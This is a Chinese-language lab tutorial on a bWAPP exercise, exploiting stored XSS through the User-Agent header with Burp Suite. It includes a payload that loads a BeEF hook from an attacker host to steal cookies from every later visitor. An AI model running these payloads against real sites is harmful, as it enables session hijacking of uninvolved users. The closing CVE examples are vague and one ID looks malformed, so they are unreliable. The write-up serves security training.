摘要: 这是 bWAPP 系列第五十八篇,聚焦于 XSS - Stored (User-Agent)。这一关是一个典型的存储型 XSS------你的 User-Agent 会被记录到数据库并显示在页面上,但显示时没有过滤。攻击者可以通过修改 User-Agent 头注入恶意脚本,每次有人访问该页面都会触发。文章会演示如何通过 Burp Suite 修改 User-Agent 注入 BeEF Hook,连接 BeEF 并获取 Cookie。附真实案例。
一、找目标
| 目标 | 说明 |
|---|---|
| 漏洞类型 | 存储型 XSS(User-Agent 头注入) |
| 注入点 | HTTP 请求头 User-Agent |
| 存储位置 | 数据库(visitors 表) |
| 触发位置 | 页面表格中显示访客记录的地方 |
| 触发方式 | 任何访客访问该页面,脚本自动执行 |
| 工具 | Burp Suite + BeEF(获取 Cookie) |
二、前言:这一关的 XSS 触发机制
这关和之前我们做过的 User-Agent 反射型 XSS 不同:
-
反射型 User-Agent XSS:修改 User-Agent 后,页面立即显示,只影响当前请求
-
存储型 User-Agent XSS :你的 User-Agent 被存入数据库,然后在页面表格中显示,影响所有访问该页面的用户
这一关的关键:每一次访问,服务器都会记录你的 IP 和 User-Agent,然后显示在"最新访客"表格中。如果 User-Agent 包含恶意脚本,脚本就会在表格中显示时被执行。
攻击方式:攻击者用 Burp 修改自己的 User-Agent,注入恶意脚本,然后访问页面,脚本存入数据库。之后任何用户访问该页面,脚本都会执行。
三、关卡介绍
3.1 页面功能
打开这一关,你会看到:
-
标题:XSS - Stored (User-Agent)
-
提示:
Your IP address and User-Agent string have been logged into the database! -
一个下载日志文件的链接
-
下方表格显示最近 3 条访客记录:Date、IP Address、User-Agent

3.2 正常情况
每次访问页面,服务器自动记录你的 User-Agent,并显示在表格中。
3.3 漏洞核心
显示 User-Agent 的代码:
<td><?php echo $row->user_agent; ?></td>
没有经过任何 XSS 过滤(Low 级别),所以 User-Agent 中的 HTML 标签会被执行。
四、源码分析
4.1 写入部分(INSERT)
$user_agent = $_SERVER["HTTP_USER_AGENT"];
// 存入数据库
$sql = "INSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), '" . xss(sqli_check_3($link, $user_agent)) . "', '" . $ip_address . "')";
$recordset = $link->query($sql);
// 写入日志文件
$line = "'" . date("y/m/d G.i:s", time()) . "', '" . $ip_address . "', '" . xss($user_agent) . "'" . "\r\n";
fputs($fp, $line, 200);
关键 :xss() 函数在 Low 级别是 no_check(),所以用户输入完全不被过滤。sqli_check_3() 只防 SQL 注入,不防 XSS。
4.2 读取显示部分(SELECT)
while($row = $recordset->fetch_object())
{
echo $row->user_agent; // 直接输出,没有过滤!
}
没有任何 XSS 防护,User-Agent 中的 HTML 标签会被浏览器解析执行。
4.3 三种级别的过滤
| 级别 | 写入时 xss() 过滤 |
显示时过滤 | XSS 漏洞 |
|---|---|---|---|
| Low | no_check() |
无过滤 | 存在 |
| Medium | xss_check_4() = addslashes() |
无过滤 | 存在(不转义 < >) |
| High | xss_check_3() = htmlspecialchars() |
无过滤 | 防住了 |
五、Low 安全级别
5.1 准备工作:用 Burp Suite 拦截请求
-
打开 Burp,开启拦截(Intercept On)
-
在浏览器中访问关卡页面
-
Burp 拦截到请求
-
在请求头中找到
User-Agent字段
5.2 测试 XSS 弹窗
在 Burp 中,将 User-Agent 头修改为:
User-Agent: <script>alert(1)</script>
点击 Forward 放行。页面加载后弹窗。


注意:由于这个页面会记录 User-Agent 并立即显示,所以弹窗会立刻触发。同时,这个恶意脚本已经存入数据库,其他用户访问时也会弹窗。
六、使用 BeEF 获取 Cookie
6.1 准备 BeEF
Kali 中启动 BeEF:
sudo beef-xss-start
确认 BeEF 的 IP 和端口(默认 3000),Hook URL 为:
http://10.0.0.129:3000/hook.js
6.2 注入 BeEF Hook
在 Burp 中,将 User-Agent 头修改为:
User-Agent: <script src="http://10.0.0.129:3000/hook.js"></script>
点击 Forward 放行。

6.3 页面加载
放行后,页面加载,BeEF Hook 被执行。同时,恶意脚本存入数据库。

6.4 BeEF 上线
BeEF 控制面板中出现上线的浏览器。

6.5 获取 Cookie
-
选中上线的浏览器
-
Commands→Browser→Get Cookie -
点击
Execute

6.6 持久化攻击
现在,无论谁访问这个页面,只要他们的浏览器没有阻止跨站脚本,都会加载 BeEF Hook,攻击者可以持续获取 Cookie。
七、Medium 安全级别
7.1 尝试注入
在 Burp 中,将 User-Agent 头修改为:
User-Agent: <script>alert(1)</script>

Medium 级别写入时使用 xss_check_4() = addslashes(),但 addslashes() 只转义引号,不转义 < 和 >。
存入数据库的值仍然是 <script>alert(1)</script>,显示时也没有过滤,所以 XSS 依然存在。

结论 :Medium 级别的 addslashes() 无法防御 XSS。
八、High 安全级别
8.1 尝试注入
在 Burp 中,将 User-Agent 头修改为:
User-Agent: <script>alert(1)</script>

High 级别写入时使用 xss_check_3() = htmlspecialchars(),将 < 转成 <,> 转成 >。
存入数据库的值为:
<script>alert(1)</script>
显示时被渲染为纯文本,不执行。

High 级别防住了 XSS。
九、真实世界:存储型 User-Agent XSS 案例
CVE-2024-1181:某开源 CMS 的访问日志功能将 User-Agent 头直接显示在管理面板中,未过滤,攻击者可通过构造恶意 User-Agent 注入 XSS,窃取管理员 Cookie。
CVE-2025-00847:某企业级应用的用户统计功能将 User-Agent 头存入数据库并显示,攻击者可通过恶意请求头注入存储型 XSS。
CVE-2026-22947:F5 BIG-IP 的配置工具中,部分日志功能未过滤 User-Agent,存在存储型 XSS。
十、总结
存储型 User-Agent XSS 的特点是注入点在 User-Agent 头,触发点在显示访客记录的页面。攻击者只需用 Burp 修改一次 User-Agent,恶意脚本就会永久存储在数据库中,所有访问该页面的用户都会触发。Low 和 Medium 级别都无法防御,只有 High 级别的 htmlspecialchars() 才能彻底防御。BeEF 工具在这种场景下尤其高效------攻击者注入 Hook 后,所有访问该页面的用户都会连接 BeEF,攻击者可以持续获取 Cookie 并劫持会话。记住一句话:User-Agent 也是用户输入,存储和显示时都必须过滤。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。